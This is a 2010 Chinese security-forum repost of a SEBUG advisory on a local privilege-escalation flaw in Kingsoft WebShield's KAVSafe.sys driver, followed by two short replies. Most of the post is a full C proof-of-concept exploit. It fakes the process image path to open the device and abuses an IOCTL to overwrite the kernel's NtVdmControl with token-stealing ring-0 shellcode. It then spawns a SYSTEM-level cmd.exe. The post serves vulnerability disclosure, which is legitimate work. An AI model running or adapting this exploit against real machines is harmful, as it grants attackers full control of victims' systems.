[转帖]Kingsoft WebShield Kernel Mode Local Privilege Escalation Vulnerability-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

[转帖]Kingsoft WebShield Kernel Mode Local Privilege Escalation Vulnerability

发表于: 2010-5-24 09:13 4693

[转帖]Kingsoft WebShield Kernel Mode Local Privilege Escalation Vulnerability

zhuliang

2010-5-24 09:13

4693

Kingsoft WebShield KAVSafe.sys <= 2010.4.14.609(2010.5.23) Kernel Mode Local Privilege Escalation Vulnerability
SSV ID:19676
SEBUG-Appdir:金山(Kingsoft)
发布时间:2010-05-23
信息提交:yicong2010 (yicong2010_at_yahoo.com)
影响版本:
Kingsoft WebShield <= 3.5.1.2 (2010.5.23)

Signature Date: 2010-5-23 2:33:54

And

KAVSafe.sys <= 2010.4.14.609
Signature Date：2010-4-14 13:42:26
漏洞描述:
Kavsafe.sys create a device called DeviceKAVSafe , and handles DeviceIoControl request IoControlCode = 0x830020d4 , which can overwrite arbitrary kernel module data
<*参考
none
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
VULNERABLE PRODUCTS
#define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED ,FILE_ANY_ACCESS)
typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)(
              HANDLE ProcessHandle,
              DWORD ProcessInformationClass,
              PVOID ProcessInformation,
              ULONG ProcessInformationLength,
              PULONG ReturnLength
    );

typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR Buffer;
} STRING;
typedef STRING *PSTRING;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG TimeStamp;
    STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
#define RTL_MAX_DRIVE_LETTERS 32
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001
typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, *PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;

    ULONG Flags;
    ULONG DebugFlags;

    HANDLE ConsoleHandle;
    ULONG  ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;

    CURDIR CurrentDirectory;        // ProcessParameters
    UNICODE_STRING DllPath;         // ProcessParameters
    UNICODE_STRING ImagePathName;   // ProcessParameters
    UNICODE_STRING CommandLine;     // ProcessParameters
    PVOID Environment;              // NtAllocateVirtualMemory

    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;

    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;     // ProcessParameters
    UNICODE_STRING DesktopInfo;     // ProcessParameters
    UNICODE_STRING ShellInfo;       // ProcessParameters
    UNICODE_STRING RuntimeData;     // ProcessParameters
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the
    BOOLEAN ReadImageFileExecOptions;   //
    BOOLEAN BeingDebugged;              //
    BOOLEAN SpareBool;                  //
    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.

    PVOID ImageBaseAddress;
    PVOID Ldr;
    struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;
} PEB, *PPEB;
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
    LONG ExitStatus;
    PVOID PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
typedef struct {
    ULONG   Unknown1;
    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  NameLength;
    USHORT  LoadCount;
    USHORT  PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} X_SYSTEM_MODULE_INFORMATION, *PX_SYSTEM_MODULE_INFORMATION;
typedef LONG (WINAPI *PNT_QUERY_SYSTEM_INFORMATION) (
               LONG SystemInformationClass,
             PVOID SystemInformation,
               ULONG SystemInformationLength,
               PULONG ReturnLength
    );

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
typedef LONG (WINAPI *PNT_VDM_CONTROL) (
         ULONG Service,
         PVOID ServiceData
    );
VOID __declspec(naked) R0ShellCodeXP()
{
  __asm
  {
    mov eax,0xffdff124
    mov eax,[eax]
    mov esi ,dword ptr[eax+0x220]
    mov eax,esi
searchxp:
    mov eax,dword ptr[eax+0x88]
    sub eax,0x88
    mov edx,dword ptr[eax+0x84]
    cmp edx,4
    jnz searchxp
    mov eax,dword ptr[eax+0xc8]
    mov dword ptr[esi + 0xc8] , eax
    ret 8
  }
}
VOID NopNop()
{
  printf("nop!\n");
}

#include "malloc.h"
int main(int argc, char* argv[])
{

  printf("KSWebShield KAVSafe.sys <= 2010,04,14,609\n"
    "Kernel Mode Privilege Escalation Vulnerability Proof-of-Concept\n"
    "2010-5-23\n"
    "By Lincoin \n\nPress Enter");
  HKEY hkey ;
  WCHAR InstallPath[MAX_PATH];
  DWORD datatype ;
  DWORD datasize = MAX_PATH * sizeof(WCHAR);
  ULONG oldlen ;
  PVOID pOldBufferData = NULL ;

  if (RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWARE\\Kingsoft\\KSWSVC", &hkey) == ERROR_SUCCESS)
  {
    if (RegQueryValueExW(hkey , L"ProgramPath" , NULL , &datatype , (LPBYTE)InstallPath , &datasize) != ERROR_SUCCESS)
    {
      RegCloseKey(hkey);
      printf("KSWebShield not installed\n");
      getchar();
      return 0 ;
    }

    RegCloseKey(hkey);
  }
  else
  {
    printf("KSWebShield not installed\n");
    getchar();
    return 0 ;
  }
  wcscat(InstallPath , L"\\kavinst.exe");

  PROCESS_BASIC_INFORMATION pbi ;

  PNT_QUERY_INFORMATION_PROCESS pNtQueryInformationProcess ;

  pNtQueryInformationProcess = (PNT_QUERY_INFORMATION_PROCESS)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryInformationProcess");

  pNtQueryInformationProcess(NtCurrentProcess() , 0 , &pbi , sizeof(pbi) , NULL);

  PPEB peb ;

  peb = (PPEB)pbi.PebBaseAddress;
  oldlen = peb->ProcessParameters->ImagePathName.Length;
  peb->ProcessParameters->ImagePathName.Length = wcslen(InstallPath) * sizeof(WCHAR);
  pOldBufferData = malloc(peb->ProcessParameters->ImagePathName.Length);
  RtlCopyMemory(pOldBufferData,peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length);
  RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , InstallPath ,peb->ProcessParameters->ImagePathName.Length );
  HANDLE hdev = CreateFile("\\\\.\\KAVSafe" ,
    FILE_READ_ATTRIBUTES ,
    FILE_SHARE_READ ,
    0,
    OPEN_EXISTING ,
    0,
    0);

  if (hdev==INVALID_HANDLE_VALUE)
  {
    printf("cannot open device %u\n", GetLastError());
    getchar();
    return 0 ;
  }
  RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , pOldBufferData,peb->ProcessParameters->ImagePathName.Length);
  peb->ProcessParameters->ImagePathName.Length = (USHORT)oldlen ;


  PNT_QUERY_SYSTEM_INFORMATION pNtQuerySystemInformation  ;
  pNtQuerySystemInformation = (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQuerySystemInformation");
  X_SYSTEM_MODULE_INFORMATION sysmod ;
  HMODULE KernelHandle ;

  pNtQuerySystemInformation(0xb, &sysmod, sizeof(sysmod), NULL);

    KernelHandle = LoadLibrary(strrchr(sysmod.Module[0].ImageName, '\\') + 1);

  if (KernelHandle == 0 )
  {
    printf("cannot load ntoskrnl!\n");
    getchar();
    return 0 ;
  }
  PVOID pNtVdmControl = GetProcAddress(KernelHandle , "NtVdmControl");

  if (pNtVdmControl == 0 )
  {
    printf("cannot find NtVdmControl!\n");
    getchar();
    return 0 ;
  }
  pNtVdmControl = (PVOID)((ULONG)pNtVdmControl - (ULONG)KernelHandle  );

  printf("NtVdmControl = %08x" , pNtVdmControl );

  getchar();
  ULONG ShellCodeSize = (ULONG)NopNop - (ULONG)R0ShellCodeXP;
  ULONG pShellCode = (ULONG)R0ShellCodeXP;

  PVOID Data = malloc(0x48 + ShellCodeSize);

  CopyMemory((PVOID)((ULONG)Data + 0x48) , R0ShellCodeXP , ShellCodeSize);



  CHAR ModuleName[68]= "ntoskrnl.exe" ;
  RtlCopyMemory( Data , ModuleName , sizeof(ModuleName));
  *(ULONG*)((ULONG)Data + 64) = (ULONG)pNtVdmControl;
  *(ULONG*)((ULONG)Data + 68) = ShellCodeSize ;

  ULONG btr ;
  if (!DeviceIoControl(hdev ,
    IOCTL_HOTPATCH_KERNEL_MODULE ,
    Data ,
    0x48 + ShellCodeSize ,
    NULL ,
    0,
    &btr , 0
    ))
  {
    printf("cannot device io control!%u\n" , GetLastError());
    getchar();
    return 0;
  }

  CloseHandle(hdev);

  PNT_VDM_CONTROL pR3NtVdmControl = (PNT_VDM_CONTROL)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl");
  pR3NtVdmControl(0,0);

  WinExec("cmd.exe" , SW_SHOW);
  printf("OK!\n ");

  getchar();

  return 0;
}
SEBUG安全建议:
厂商补丁：

kingsoft
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.kingsoft.com/// sebug.net [2010-05-23]

http://sebug.net/vulndb/19676/

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！

收藏・0

免费・0

支持

最新回复 (2)
竹君雪币： 170 活跃值： (90) 能力值： ( LV12，RANK：210 ) 在线值：发帖 66 回帖 911 粉丝 7 关注私信	竹君 5 2 楼大姐有来转一贴 2010-5-24 09:15 0
zhenzero 雪币： 50 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 24 粉丝 0 关注私信	zhenzero 3 楼哎，这个漏洞其实是我昨天在看雪首发的，杯具的是看雪的老大们太和谐了。今天SEBUG，EXPLOIT-DB，INT03全都发了，中国论坛真的不行 2010-5-24 13:54 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

zhuliang

发帖

401

回帖

210

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (2)
竹君雪币： 170 活跃值： (90) 能力值： ( LV12，RANK：210 ) 在线值：发帖 66 回帖 911 粉丝 7 关注私信	竹君 5 2 楼大姐有来转一贴 2010-5-24 09:15 0
zhenzero 雪币： 50 活跃值： (10) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 24 粉丝 0 关注私信	zhenzero 3 楼哎，这个漏洞其实是我昨天在看雪首发的，杯具的是看雪的老大们太和谐了。今天SEBUG，EXPLOIT-DB，INT03全都发了，中国论坛真的不行 2010-5-24 13:54 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复